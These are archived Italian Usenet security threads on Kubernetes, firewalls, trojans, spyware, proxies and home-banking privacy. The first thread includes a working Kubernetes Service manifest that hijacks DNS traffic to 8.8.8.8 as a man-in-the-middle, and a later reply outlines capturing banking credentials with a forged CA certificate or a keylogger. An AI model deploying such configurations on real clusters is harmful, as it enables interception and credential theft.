mii-community/UsenetArchiveIT-conversations huggingface dataset:
Newsgroup: it.comp.sicurezza.varie
Titolo: [kubernetes] questa è bella davvero

https://github.com/kubernetes/kubernetes/issues/97076
 
 
in pratica: basta creare un Service con degli ExternalIPs qualsiasi e questo intercetta il traffico dai pod verso questi ip. un man-in-the-middle semplicissimo e in piena regola.
in questo esempio il pod agganciato al service si sostituisce ai dns di google:
 
apiVersion: v1
kind: Service
metadata:
  name: my-evil-service
  namespace: my-evil-namespace
spec:
  selector:
    app: my-evil-dns-server
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 9053
  externalIPs:
    - 8.8.8.8
    - 8.8.4.4


Come ci si difende o si mitiga il rischio?

Come ci si difende o si mitiga il rischio?
 
Il primo controllo che mi viene da fare è verificare il TTL sui pacchetti di
ritorno. Poi, farci dei cross-check periodici in parallelo su altri DNS. Per
simulare N DNS a priori incogniti comincia a volerci tantaroba. E aggiungici
DNS-over-HTTPS con controllo dei certificati. O magari DNS-Crypt.
 
Leonardo
-- 
 
"You all presumably know why" :-) :-(

 Come ci si difende o si mitiga il rischio?
 
in soldoni dando le chiavi del cluster solo a persone fidate; in un sistema multi tenant (che è un po' il punto debole) applicando delle network policy strette e attente.


In soldoni cosa si deve fare? Operazioni alla portata di tutti.




 In soldoni cosa si deve fare? Operazioni alla portata di tutti.
 
Alla portata di un utente, intendi? Le solite precauzioni
generiche contro il man in the middle: prima di digitare un
qualunque dato sensibile come un numero di carta di credito
o una password in una pagina web, verificare a vista non
solo il dominio nell'URL ma che sia un https valido e non un
http.
 
Ciao
Paolo Russo
 

 In soldoni cosa si deve fare? Operazioni alla portata di tutti.
 
credo ci sia un equivoco. è una issue che riguarda kubernetes, quindi una cosa abbastanza specifica, non impatta sull'utenza comune.

Newsgroup: it.comp.sicurezza.varie
Titolo: Verifica che porta 119 sia aperta con un Firewall.

Spero di non essere OT  e che sia il NG giusto.
Chi , per favore, mi sa spiegare come verificare che la
porta 119 sia aperta se st� utilizzando un Firewall.
Gradirei sapere passo per passo come devo procedere
per la verifica.
Grazie 


in ingresso?
https://www.grc.com/x/ne.dll?bh0bkyd2
Proceed
metti 119 e click su
User-Specified Custom Port Probe
se ti dice passed significa che non � accessibile.
in uscita?
start esegui cmd
telnet 
news.tin.it
 119
e ti risponder� qualcosa come questo:
200 
reader5.news.tin.it
 NNRP 
reader5.news.tin.it
 
newsm...@tin.it
 (posting ok)

Grazie Pinotto della risposta , ma :
- il test eseguito in ingresso mi dice che la porta 119
   � " Closed" come faccio a farla diventare " Open" ?
 (Ovvero UseNEXT mi dice che per riceverlo questa
 porta deve essere aperta)
Ciao 

OK ho risolto il mio problema.
Newsgroup: it.comp.sicurezza.varie
Titolo: Gateway...sbilanciato.

Un saluto ed auguri a tutti !
Dunque, ho questa configurazione ipotetica:
Una rete 100.100.100.0 mask 255.255.255.0
Gateway 100.100.100.1 che collega questa rete con l'esterno, diciamo 
internet.
Le macchine della rete avranno quindi indirizzi 100.100.100.X e sono tutte 
visibili dall'esterno, e tutte possono navigare.
Il router che fa da gateway non e' modificabile.
Ora, prendiamo un computer, diamogli indirizzo 100.100.100.2 e mettiamoci un 
firewall con una politica di accessi/uscite.
Ovviamente il firewall sara' collegato sullo stesso switch degli altri.
Ora cambiamo il gateway di tutte le macchine dandogli come gateway 
100.100.100.2, il firewall quindi.
I client ed i server della rete ora passano PER USCIRE da firewall, mentre 
quelli provenienti da internet raggiungono direttamente le macchine, non 
salgono nemmeno le connessioni verso i server perche' vengono segati pure i 
pacchetti ACK.
Ora, la mia domanda e' : quanto e' sicura una soluzione firewall del genere 
?
-- 
Saluti,
Mark G. 

 Ora, la mia domanda e' : quanto e' sicura una soluzione firewall del genere ?
Spero di non aver frainteso la situazione...
Bye, G.


-- 
Saluti,
Mark G. 

 >> genere ?
Non è questione (solo) di sicurezza: è che non funzionerebbe.
Bye, G.
Newsgroup: it.comp.sicurezza.varie
Titolo: a teomax

Scusa sono mi collego da poco...
ho intestato il messaggio a te perche mi hai "quasi" sorpreso...
come si fa a leggere l'IP di qualcuno cosě facilmente????
č peroccupante ciň ????
come ci si documenta sul come...  (quasi ricorsiva)
tank you (tu carroarmato)
:-)

 č peroccupante ciň ????
no. lo sarebbe il contrario :) non realizzandosi piu' una connessione :P
invy
-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GSS/TW/O>AT d?(dx) s+:+, s: a-->a- C++(C+++) UL+++>UL++++ P+ L+++>L++++
E-- W(W-) N++ K? w-- O- M- V- PS++ PE Y+ PGP++ t++@ 5 X+ R+(R++) tv b+++
DI+++@ D+ G>G++ e++ h r+(r-) y++*
------END GEEK CODE BLOCK------

>guardando i pacchetti che ti manda !? 
e come si fa a guardare i pacchetti che arrivano????

e come si fa a guardare i pacchetti che arrivano????
monitorando le porte con programmi appositi.
Buttha
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* Questo non e' un omaggio a Magritte
-----------------------------------------------------------------------

  wrote: monitorando le porte con programmi
appositi.
E quali sono i programmi appositi?
Scherzo...........! ;-)))
F.to: ex sputtanatore pentito
iro...@NONVENDICATEVIfreemail.it

F.to: ex sputtanatore pentito
 :)
un Buttha "per amor di banda"


 e come si fa a guardare i pacchetti che arrivano????
con un processo che acceda a copie dei pacchetti passate dal kernel
direttamente dal livello network. Uno sniffer e' una comune
implementazione di questo concetto.


 monitorando le porte con programmi appositi.
cosi' vedremo le connessioni ed il loro stato. Meglio mappare il datalink
facendosi copie dei pkt del network lv.

Newsgroup: it.comp.sicurezza.varie
Titolo: Chiedo una cortesia.....

Da alcuni giorni seguo questo newsgroup e finalmente molte mie domande hanno
trovato risposta.
Ho perň ancora qualche dubbio che spero vogliate chiarirmi:
- Qual'č la procedura piu corretta per recuperare un disco quando appare la
scritta:"NO BOOT DISK" (per intenderci, quando e' ancora possibile accedere
a C:\ facendo il boot da un dischetto), e quale e' la piu corretta quando
invece appare la scritta: "PRESS A KEY TO REBOOT" (quando anche la
partizione su C:\ e' sparita)?
-Per "RECUPERARE o RIPRISTINARE" si intende "resuscitare" l'hard disk
completo di sistema operativo, dati e applicazioni oppure salvarne il
contenuto su un altro hard disk (come con TIRAMISU)?
- Come funziona e quando usare profiquamente FDISK /MBR?
- e il comando 
SYS.COM
?
- Quali i programmi piů utili?
Ringrazio chi vorra aiutarmi o darmi indicazioni su dove trovare risposte.
LUCA


ICQ #34602650

"Hank BUKOWSKY"
grande!!!
Buttha (scusate, ma e' il mio scrittore preferito :) )
-----------------------------------------------------------------------
* Per rispondere rimuovere i
* PGP Key: RSA & DH/DSS
* 
http://members.tripod.com/buttha/
-----------------------------------------------------------------------

Ti ringrazio...
Vediamo se ho capito bene:
quando mi appare il messaggio "disco non di avvio" posso usare sys c:\ per
renderlo avviabile.
quando non vedo più la partizione uso fdisk /mbr....
GRAZIE DI NUOVO
LUCA

Newsgroup: it.comp.sicurezza.varie
Titolo: UDP

Oggi per ben due volte il firewall mi ha avvisato di una connessione UDP in
uscita verso  la porta 670 (non ho scritto il resto) e una volta sulla 931
con indirizzo 213.255 etc.
Non mi era mai capitato, in tutte e due le occasioni Outlook era aperto, è
una cosa che deve far pensare a qualche backdoor ?


Ho dimenticato di dire che č sempre RNAPP.exe che cerca di accedere alla
rete, ed ogni volta lo fa su una porta diversa
Grazie
Newsgroup: it.comp.sicurezza.varie
Titolo: NETBUS

ciao
chattando in irc un tipo mi ha contattato per avvertirmi che avevo
netbus installato nel mio computer
ora, non so se si trattava di un buon samaritano o di un terrorista ma
vorrei sapere se esiste il modo per verificare quanto mi ha detto
premetto che uso norton a.v. 4 aggiornato recentemente in combinazione
con una copia di valutazione di mc afee, ho letto le faq e non ho
trovato indizi tipo files patch.exe (so che il nome potrebbe essere
diverso)
nel registro ho trovato nomi tipo explore.exe, odbc.exe, patch.exe ma
non so se sono stati installati dagli antivirus per il loro
riconoscimento
con nukenabber mi accorgo di frequenti attacchi alle porte 12345-6 che
puntualmente vengono chiuse
lumi?
grazie
sandro

lumi?
NukeNabber apre le porte, quindi la porta 12345 puo' essere anche
aperta dal solo nukenabber.
Ad attacco ricevuto il nukenabber richiude la porta.
Bye, Federico
Togli "NO" per rispondermi

riconoscimento
Se si trova in questa chiave:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Explorer\Doc Find Spec MRU
non hai niente, significa che hai fatto una ricerca dei file.
Ciao.

 sandro

Ad attacco ricevuto il nukenabber richiude la porta.
E se il nn lavora sulla porta vuol dire che *Li* non ci sono Trojan in
ascolto.
Frankj
ICQ# 15068478 
e-mail:fra...@tiscalinet.it
http://www.chez.com/pizzairc
news:alt.irc.mirc.scripts.pizza
*** Software Failure Guru Meditation
Press left mouse button to continue. ***

Potresti scaricarti AVP dal sito di Paolo Monti  
http://www.avp.it
 oppure,
per scoprire il file infetto con l'auito di un'amico in rete con netbus
farti dire il nome del file infetto


vi ringrazio per le risposte
da quanto ho capito dovrebbe essere tutto a posto
ciao
sandro

Ciao.
proprio li
grazie
ciao
Newsgroup: it.comp.sicurezza.varie
Titolo: firewall xp

Se aggiungo zone lab a windows xp professional devo disattivare il firewall
di xp? Miglioro la sicurezza o meglio xp firewall?
Maurizio

 ha scritto nel messaggio
news:b9ikta$unf$1...@news.ngi.it...

Il firewall di xp č gia di per se abbastanza buono si basa infatti sulla
tecnica dello "Stateful Packet Filtering".
Zone Alarm IMHO non ti serve ti da solo il controllo delle applicazioni come
di + rispetto a xp firewall. Ma IMHO se hai un buon AV e un buon Antitrojan
stai a posto anche solo con il firewall di xp (inoltre con il firewall di xp
se per caso un applicazione tenta di disattivarlo windows ti avverte).
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (
http://www.grisoft.com
).
Version: 6.0.478 / Virus Database: 275 - Release Date: 06/05/2003

 se per caso un applicazione tenta di disattivarlo windows ti avverte).
Grazie per il consiglio, ho installato Ad-Aware 6 e AntiVir, allora penso
che possa bastare.
Ciao
Maurizio

 che possa bastare.
Sì ma non trascurare il resto, scarica ogni aggiornamento disponibile
(tipo XP SP1) e tutto quello che ti propone Windowsupdate

 (tipo XP SP1) e tutto quello che ti propone Windowsupdate
Claro che gli aggiornamenti continuo a farli
grazie
Maurizio

 (tipo XP SP1) e tutto quello che ti propone Windowsupdate
Soprattutto WindowsUpdate ^^
Cya! 
-- 
-------------------------------------------------------------------------
  Un Anello per domarli, Un Anello per trovarli,
  Un Anello per ghermirli e nel buio incatenarli.
-------------------------------------------------------------------------
FIDDer #88 as Crandall

 disattivarlo windows ti avverte).
Anche altri.
Fabio

 ha scritto nel messaggio
news:MPG.1929c2e5c...@powernews.libero.it...


 ha scritto nel messaggio
news:3ec5fdb9$1...@x-privat.org...

Newsgroup: it.comp.sicurezza.varie
Titolo: Javascript & Linux

Ciao,
come sapete tutti, esistono dei javascript che mandati via email aprono un
numero infinito di finestre fino all'esaurimento della ram. Se ad esempio si
utilizza OE, il problema si dovrebbe risolvere disabilitando i javascript.
Vorrei sapere in che modo Linux gestisce questo problema.
Grazie in anticipo
--
extrabyte

 Vorrei sapere in che modo Linux gestisce questo problema.
Considerato che normalmente chi usa Linux non legge mail in
accattiemmelle il problema non si pone e considerato poi che per
fortuna non esistono client di posta come Autluk che permettono di
eseguire porcherie all'insaputa dell'utente si pone ancor di meno.
thorin che "mutt rulez"
-- 
Problemi di stitichezza?
Usa Profex plus 250 mg. ed il tuo intestino ti ringraziera' !
Leggere attentamente le istruzioni, un uso prolungato puo' causare
effetti collaterali inversi.

Vorrei sapere in che modo Linux gestisce questo problema.
Linux, in nessun modo: a differenza di Windows, javascript non e' parte
del sistema operativo.
Da browser a browser cambiera' la strategia. Ad esempio Opera (su Linux
come su Windows) disattiva l'apertura delle finestre.
Ed e' possibile, usando Squid con content-filtering-hooks, cancellare i
comandi Javascript relativi a questo e ad altri exploits in modo che un
browser vulnerabile non li riceva neppure, e in tal modo si salvi.
Leonardo
-- 
Says I, "My young lassie, I canna' weel tell ye,
The road and the distance I canna' weel gie,
But if you'll permit me tae gang a wee bittie,
I'll show you the road an' the miles tae Dundee".
Newsgroup: it.comp.sicurezza.varie
Titolo: Tesi su MS proxy server

Salute a tutti,
per la mia tesi sulla sicurezza di rete e firewalls,devo avere piu'
informazioni possibili sul nuovo prodotto della Microsoft:Proxy Server
2.0.
Se qualcuno di voi avesse informazioni a riguardo o,meglio ancora,
l'avesse provato e volesse darmi le sue impressioni,ne sarei molto
felice.
Grazie gia' da ora.
Il mio indirizzo in facolta e':
bord...@didasun1.deis.unibo.it
 Salute a tutti,
 
     G.Bordonali

informazioni possibili sul ...
Esiste la possibilita' che tu metta la tua tesi in Internet? Sarei
proprio curioso di darci un'occhiata.
(Elimina il papero per le repliche)
Newsgroup: it.comp.sicurezza.varie
Titolo: aiuto per spyware uvpfmcmf.exe

salve,
ho un problema con uno spyware.
mi si rigenera in continuazione una chiave di registro
chiamata edokky che chiama il file uvpfmcmf.exe
ho provato con noadware,cwshredder,spyhunter,xoftspy,...ma niente lui
si rigenera, si rigenera, si rigenera.
In rete non ho trovato alcuna info.
qualche suggerimento?
grazie
ak

 chiamata edokky che chiama il file uvpfmcmf.exe
[...]
Evita il crosspost ;-) :
http://www.microsoft.com/italy/technet/community/mvp/editoriali/spyware.mspx
--
Vincenzo Di Russo
Microsoft® MVP - Windows - Internet Explorer/OE
http://support.microsoft.com/newsgroups
http://mvp.support.microsoft.com/

Newsgroup: it.comp.sicurezza.varie
Titolo: Corso Hacker

Ho visto che tra tanti messaggi idioti c'č qualcuno che vuole fare qualcosa
di serio ed č in cerca di un "corso hacker". Io ho dei testi molto validi,
in inglese, che possono aiutare a capire certi meccanismi soprattutto la
differenza dei vari protocolli di comunicazione e come fare per aggirarli ma
č bene ricordare che č solo grazie a numerosi tentativi ed a tanta pazienza
che si ottiene dei risultati perché vengono messi in campo sempre nuovi prg
e sistemi di sicurezza, di conseguenza non esiste un "manuale" che dica "fai
cosi' e cosi' e sei dentro quel sistema". Se la cosa interessa allora
rispondete attraverso questo newsgroup.

ma pensa te la differenza di vedute..
 di tutti i messaggi che ho letto fino ad ora su questo ng ..
l'unico -sicuramente non idiota-  ma almeno un po' ingenuo ... mi sembrava
proprio quello 'cerco un corso hacker'.

rispondete attraverso questo newsgroup.
testi molto validi ? certo. sono dappertutto. ed anche libri. e draft. 
e white paper ... :)
vincent zelig ne puo' trovare ANCHE dove ho detto. e poi ci sono centinaia
di Kb di zines ed articoli vari di gruppi :)
e magari gli RFC :)
e magari puo' prendere in mano un buon OS con sorgente distribuito e cominciare
a smanettare/spippolarci sopra ....
e magari puo' provare a fare prima di provare a chiedere :)
ad una domanda: ho provato cosi e cosi e cosi per buttar giu il demone, penso
proprio che risponderei subito. Ma non alla domanda come buttare giu il demone.
A meno che non fosse un tipo che ha gia' dato :)
PRIMA di esser entrato ancora nel giro, gia' mi accorgo che ci sono troppi che
prendono senza dare :) e per dare devono imparare smanettando, non ripetendo
a memoria, credo.
Solo le mie 200 lire.
invy

 differenza dei vari protocolli di comunicazione e come fare per aggirarli ma
non e' che posti i titoli dei libri?? 
grazie
Luca
-- 
(o-  ________________________________________________________________
//\  Luca Di Taranto                             dita...@zappami.tin
V_/_ to email me, please, remove "zappami" and add ".it" after ".tin"
Newsgroup: it.comp.sicurezza.varie
Titolo: IRC e fw

Salve, ho da poco iniziato a chat su IRC (per ora su Azzurra) e vorrei
sapere tra i seg. fw quali sec. voi sono piu' indicati per essere coperti
li' e sul Net in gen.
Conseal pf
@Guard
ZA Pro
OutPost
Tiny pf
Kerio
Tra l'altro, cercando rules x Conseal sul sito Signal9, mi rimanda ad un
altro pf, Visnetic pf 1.2, qualcuno lo conosce o lo ha usato?
Grazie (auguri)

 Salve, ho da poco iniziato a chat su IRC (per ora su Azzurra)
se pensi di usare un fw vuol dire che temi un uso malintenzionato del
tuo IP. POco male, dato che questa informazione su Azzurra non viene
resa nota :)
Ciao,
Steve
--
"You are the salt of the Earth, the light of the world" (Mt, 5:13-14)
"Vola solo chi osa farlo." Luis Sepúlveda (1949), scrittore cileno.

 resa nota :)
Lo so, su Azzurra no, ma su altre reti si, inoltre non voglio indagare, ma
sono quasi sicuro che esistano tools per l'individuazione di ip anche la (
ad es. su ICQ esistono gli sniffer), cmq, credo basti essere in DCC e il
gioco e' fatto, l'ip lo devi mostrare per forza, ecco perche' cerco un buon
fw che mi metta al riparo da flood, nuke, click ecc ecc


 l'individuazione di ip anche la 
gli ip su azzurra sono criptati in modo univoco (cioe' non possono essere 
decriptati con particolari tools, come ho visto su qualche ircd bidone).
Posso mettere la mano sul fuoco che l'unico modo per ottere l'ip tramite 
azzurra e' quello di chiederlo a un ircop. (scordatelo :P)
-- 
Pascal-X - ICQ 25553477 - 
http://pascal-x.netfirms.com
Responsabile Pubbliche Relazioni del SIACD
Profeta del Sommo C_R_O_S_S__B_O_N_E_S
Nemico dichiarato del Kyle Jordan Klan

 ad es. su ICQ esistono gli sniffer
non serve nessuno sniffer (?): l'ip in icq e' in chiaro durante le
comunicazioni e viene comunemente mostrato anche da alcuni client tipo
licq senza trucchi di sorta
-- 
buone feste

 ottere l'ip tramite azzurra e' quello di chiederlo a un ircop.
Ha ragione lui quando dice che una DCC basta per scoprire il proprio
IP, ma aggiungerei anche che su network seri ci sono infime
possibilita' di trovare personaggi che passano la serata hackerando le
macchine altrui. Credo esista un limite fra il bisogno di chattare in
sicurezza e la mania di autoprotezione contro tutto e tutti...
Steve
--
"You are the salt of the Earth, the light of the world" (Mt, 5:13-14)
"Un penny risparmiato č un penny guadagnato." (proverbio scozzese)


Magari fosse l'unico problema dell'Unreal. Sinceramente, prima lo levo da
IRCSpace e meglio sarà. Bel giocattolo, ma pieno di bugs.
--
Saluti

 >
Il coltello che spalma puo' anche tagliare.
Newsgroup: it.comp.sicurezza.varie
Titolo: se mi rubano i codici del conto arancio

Possono fare bonifici su ALTRI conti oppure è possibile solo bonificare i 
soldi del conto arancio sul mio conto corrente della banca (nel mio caso 
mps) da cui ci alimento il conto arancio?
In altre parole dal conto arancio è possibile fare bonifici su qualunque 
conto o solo sul conto su cui è stata abilitata l'alimentazione? grazie 


Solo sul conto che è stato abilitato.

 wrote:

Tuuti i conti deposito sono strutturati in maniera tale da essere
molto sicuri. In breve ti danno possibilità di fare spostamenti solo
tra un conto predefinito a tuo nome al conto arancio sempre a tuo
nome.
Cio' significa che se per puro caso una persona vennisse a sapere i
tuoi codici l'unico problema che ti potrebbe causare sarebbe quello di
spostare i tuoi soldi da conto arancio al tuo conto
bancario.....Questo vale per tutti i conto deposito si chiamino
rendimax chebanca o santnder....
Ciao Claudio

 rendimax chebanca o santnder....
Ho letto su un forum che con chebanca e' possibile bonificare
anche verso conti esterni intestati ad altre persone.


Ho fatto un copia incolla dal loro sito....
Per garantirti la massima sicurezza, i conti di appoggio che hai
presso un'altra banca devono avere la stessa intestazione del tuo
Conto Deposito. Se il Conto Deposito è cointestato, anche il conto
d'appoggio dev'essere intestato nello stesso modo. Così ad es.:
- se il Conto Deposito è intestato al Sig. e alla Sig.ra Rossi, anche
il Conto Corrente di appoggio presso un'altra banca dovrà essere
intestato allo stesso modo, o quantomeno prevedere sia il Sig. Rossi
sia la Sig.ra Rossi tra i cointestatari.
Ciao Claudio

 grazie
Tuuti i conti deposito sono strutturati in maniera tale da essere
molto sicuri. In breve ti danno possibilità di fare spostamenti solo
tra un conto predefinito a tuo nome al conto arancio sempre a tuo
nome.
Cio' significa che se per puro caso una persona vennisse a sapere i
tuoi codici l'unico problema che ti potrebbe causare sarebbe quello di
spostare i tuoi soldi da conto arancio al tuo conto
bancario.....
E se mi rubeno i codici del conto corrente bancario ?
Grazie.
Newsgroup: it.comp.sicurezza.varie
Titolo: proxy.?

Ciao a tutti,
sto cercando (e non riesco a trovarlo) un proxy anonimizzatore da
settare in IE.....ma gratutito !
..e che funzioni :-)
tutti quelli provati (gratuiti) non fanno il loro dovere....
mmmmhhh..... secondo voi , sto richiedendo la luna
o è effetivamente difficile trovarne ?
Avete qualche link da consigliarmi ?
Grazie
lele
--
"...Se è tutto sotto controllo...stai andando troppo piano !"

 ..e che funzioni :-)
Ma la 'arne vicino all'osso nella fetta di 'ulo deve essere pure
magra, vero?
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

 magra, vero?
Siuro! E s'ha a condi' tutto col fiaschino dell'olio : )
-- 
Saluti
Leonardo
Per rispondermi in privato: 
leon...@firenze.linux.it

 Siuro! E s'ha a condi' tutto col fiaschino dell'olio : )
.. a'uratamente rancido a modino, pero' :-)


 mmmmhhh..... secondo voi , sto richiedendo la luna
Stai cercando proxy aperti il cui amministratore di sistema e' stato
tanto coglione da settarlo "a cavolo".
Il mondo e' pieno di coglioni, quindi ne esistono sicuramente, ma devi
ingegnarti un po'.
Ad esempio, cercando un NG frequentato da gente con le tue stesse
esigenze e, possibilmente, evitando di fare domande in quelli
frequentati da gente con le esigenze OPPOSTE.
Fabrizio

 tanto coglione da settarlo "a cavolo".
09:01:08 input DENY ppp0 PROTO=6 
130.192.130.32:1239
 
62.98.212.92:1080
 \
L=44 S=0x00 I=40142 F=0x4000 T=118 SYN (#35)
09:01:11 input DENY ppp0 PROTO=6 
130.192.130.32:1239
 
62.98.212.92:1080
 \
L=44 S=0x00 I=29139 F=0x4000 T=118 SYN (#35)
09:01:29 input DENY ppp0 PROTO=6 
130.192.130.32:1239
 
62.98.212.92:1080
 \
L=44 S=0x00 I=24280 F=0x4000 T=118 SYN (#35)
Il signore qui cercava di sondarmi l'ortaggio, giusto?
Fosse stato il Magnifico in persona! :)
Un saluto, ireneo.
PS - VILI: Very Important Lamer(?)'s Inaccurate
-- 
"in girum imus nocte et consumimur igni"

Newsgroup: it.comp.sicurezza.varie
Titolo: Re: [OT] chi mi aiuta?

 Mai avuto virus!
Era un modo per dirti che sei OT ;-)
f/u it.comp.sicurezza.varie

 f/u it.comp.sicurezza.varie
Luca, quando _follouppi_ qualcosa, ricordati di crosspostarlo.
Che qui compaiono i reply senza riferimenti.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

 Che qui compaiono i reply senza riferimenti.
Mi scusasse vossia :)
Ciao
Luca
Newsgroup: it.comp.sicurezza.varie
Titolo: shinystat & indirizzo ip

Il contatore di accessi shinystat registra gli ip dei visitatori. Come fa,
visto che con i cookie non si puň? Grazie


Usando gli IP dei visitatori, naturalmente...
Non so se shiny usi i log del server web o semplicemente si carichi come
immagine con nome codificato in tutte le pagine dell'utente, ma in entrambe
i casi quando un utente fa una richiesta al server il suo IP viene
loggato...
Ciaotutti,
*

 loggato...
Direi la seconda ipotesi.......ma vi fidate di Shiny? io no.....:)
By Orion

Newsgroup: it.comp.sicurezza.varie
Titolo: +++ATH0 Come difendersi???

Come da oggetto !!
Grazie a tutti quelli che risponderanno !!


wrote:

Newsgroup: it.comp.sicurezza.varie
Titolo: Spycatcher....

Prodotto ridicolo, dopo aver fatto una scansione con Spybot,adaware, 
cwshredder,xoftspy ho (per curiosità ) fatto una scansione anche con 
spycatcher.....il risultato?
Ammesso che degli altri mi fido e che nessuno mi dava nulla ( pc 
pulitissimo ) spycatcher mi ha trovato un ottantina di cose che ho 
bloccato e in parte rimosso....risultato?
al riavvio risoluzione 800x600x16 e colori a 4bit BLOCCATI!!!!
l'unico modo era il ripristino configurazione di sistema....
mi chiedo, quale falso spy può dare questi problemi se viene eliminato? 

al riavvio risoluzione 800x600x16 e colori a 4bit BLOCCATI!!!!
I file segnalati come sospetti devono essere esaminati uno a uno
utilizzando il link internet.
E cosě si scopre che non sono dannosi...
-- 
Bye, Yorgos
To send me an email, please change loose with free

 E cosě si scopre che non sono dannosi...
....
perchč alcuni programmi come hajiakthis e questo devono essere usati 
inviando i file in interne ed altri come spybot e ad-aware non lo 
necessitano? 

 necessitano?
La risposta te la sei data da solo.
Quel programma ti ha trovato ottanta file *sospetti* che gli altri,
tutti insieme, non avevano considerato dannosi.
Vuol dire che quest'ultimo e' piu' paranoico, ma sei poi tu a dover
considerare se il sospetto e' suffragato da prove.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net
Newsgroup: it.comp.sicurezza.varie
Titolo: attacchi segnalazione

come posso segnalare alcuni attacchi proveniente da altri PC segnaltemi da
norton firewall?

 norton firewall?
http://www.romanelmondo.com/sugg/intr.htm
-- 
Andy
http://www.romanelmondo.it
 [o .com]
Yahoo ID andrea26272
«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»
...Here comes the sun and I say...It's alright...
«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»«-»

 da norton firewall?
==> appura che sia un vero attacco (se non sei in grado non segnalare) <==
vai su 
www.ripe.net/db/whois/whois.html
, scopri il provider di partenza e
scrivi a abuse@dominiodelprovider riportando data, ora, ip, porta,
protocollo, varie ed eventuali.
prego notare il primo punto che ho evidenziato.
-- 
per leggere e postare su free.it.*:
http://infofreeit.altervista.org/polacco.zip

 segnaltemi da norton firewall?
Si segnalano all'abuse responsabile dell'indirizzo da cui proviene.
Ma attenzione: *solo* e *soltanto* se si configurano come *reali* attacchi. 
Astieniti assolutamente se non sei in grado di valutarlo. Ricorda che il 
firewall che ha loggato l'evento lo ha anche certamente bloccato, quindi la 
tua eventuale segnalazione non aggiunge nulla alla tua sicurezza giŕ 
adeguata grazie al firewall. Sarebbe un servizio per individuare eventuali 
utenti internet che compiono violazioni, ma se non c'č violazione 
segnalarlo all'abuse equivale a fare inutile (e dannoso) rumore.

 Si segnalano all'abuse responsabile dell'indirizzo da cui proviene.
Gia', e questo non e' *mai* possibile dirlo in caso, ad esempio,
di port scan, visto che ormai neanche il piu' fesso dei kiddie
farebbe uno scan di tipo connect e che l'origine dell scansioni
half open e' tutto fuorche' certa (bounce scan, idle-host scan,
deceived scan e chi piu' ne ha piu' ne metta.)
Newsgroup: it.comp.sicurezza.varie
Titolo: webmail in cybercafè e privacy [nubbio]

Salve a tutti,
chiedo scusa se l'argomento è già stato affrontato (ho fatto svariate
ricerche tramite google ma non ho trovato niente):
mi interesserebbe sapere in che modo si possa consultare la propria casella
email utilizzando uno dei pc messi a disposizione (quindi "pubblici") negli
internetcafè e locali affini, ovviamente su webmail ed evitando che le mails
lette possano essere "recuperate" da qualcuno o possa essere violato
l'indirizzo e-mail.
Voi cosa fareste per essere sicuri che chi si sieda al pc dopo di voi non
legga la vostra corrispondenza??
Grazie e scusate ancora per la domanda banale
Klingon

 legga la vostra corrispondenza??
Nulla, se non evitare di usare un interenet cafe'
HappyCactus e gli sniffer, l'hijacking e le chiavi RSA
-- 
don't feed the troll
partecipa anche tu all'iniziativa:
"il primo fanculo ? quello che conta"
killa in silenzio, vivi felice

 legga la vostra corrispondenza??
usi un servizio di questo tipo:
www.hushmail.com
un articolo che ne descrive pro e contro:
http://zdnet.com.com/2100-1107-515422.html?legacy=zdnn
-- 
ciao | Cultura Usenet: il 'Netkook' e` un lunatico convinto delle sue idee
cf   | che scrive cose molto questionabili. Mentre il 'Troll' vuole solo 
-----+ provocare, l'altro crede davvero nelle sue sciocchezze. Link utili:
'
http://www.crank.net/usenet.html
' '
http://www.urban75.com/Mag/troll.html
'
Newsgroup: it.comp.sicurezza.varie
Titolo: Home banking e sicurezza

Salve a tutti, e mi scuso in anticipo per la banalità per molti della
domanda.
Vorrei usare in ufficio (illecitamente per usio personali) il mio pc
per utilizzare l'home banking per il trading.
Atualmente ho installato win2000 e norton antivrus.
Quale programma mi consigliate di installare per stare tranquillo che
nessuno  adesso e in futuro possa recuperare dati dal mio HD?
grazie a tutti

Marco wrote:

Alcune domande:
- il pc è "tuo tuo" o è "tuo... vabbeh, non proprio"?
- le operazioni che fai sono tutte online oppure archivi in locale?
- temi solo gli accessi indesiderati dall'esterno, oppure anche accessi 
  "normali" al pc che devono avvenire ma che non devono vedere i tuoi dati?

 per utilizzare l'home banking per il trading.
Be', la franchezza va premiata :-)
Ti dico, quindi, cosa farebbe (IMHO, eh?) un amministratore un po'
bofh che ti dovesse sgamare: t'installerebbe il certificato di una
"certification authority" da lui gestita, forgerebbe i certificati
per i siti di trading che utilizzi, firmandoli con la chiave della
sua CA fake e poi ti succhierebbe user e password. A 'sto punto lo
scenario si diramerebbe e divergerebbe in funzione della bofhezza.
Ma anche un bel keylogger, software od hardware, ci starebbe bene.
Insomma... quello che rimane sul disco potrebbe essere il meno.
Fabio

   "normali" al pc che devono avvenire ma che non devono vedere i tuoi dati?
Penso solo accessi on line,......penso

 No sarebbero tutte online, sul sito di home-banking
IMHO non ti conviene per nulla usare un PC che non è tuo o non è in 
stretta gestione. Magari il sito di homebanking richiede un certificato 
il quale *deve* essere installato su un pc tuo, perchè il suo scopo è 
proprio quello di garantire che è tuo... ma non è solo questo, qualsiasi 
soluzione va in cavalleria se non sei l'amministratore esclusivo di quel pc.

 perchè il suo scopo è proprio quello di garantire che è tuo...
di solito utilizzano delle chiavi hardware
-- 
Ciao, Dmitry 
Le F.A.Q di 
x-privat.org
 : 
http://www.x-privat.org/faq.html

 Insomma... quello che rimane sul disco potrebbe essere il meno.
rotfl!


 mio pc per utilizzare l'home banking per il trading.
almeno le cose falle con furbizia :) Non se se ti rendi conto che qui 
ti legge parecchia gente, ma tantè ..


usa un software per cryptare le password, un firewall, un antispy, un
software per sapere cosa ci fann col pc quando non ci sei e vai tra.
-- 
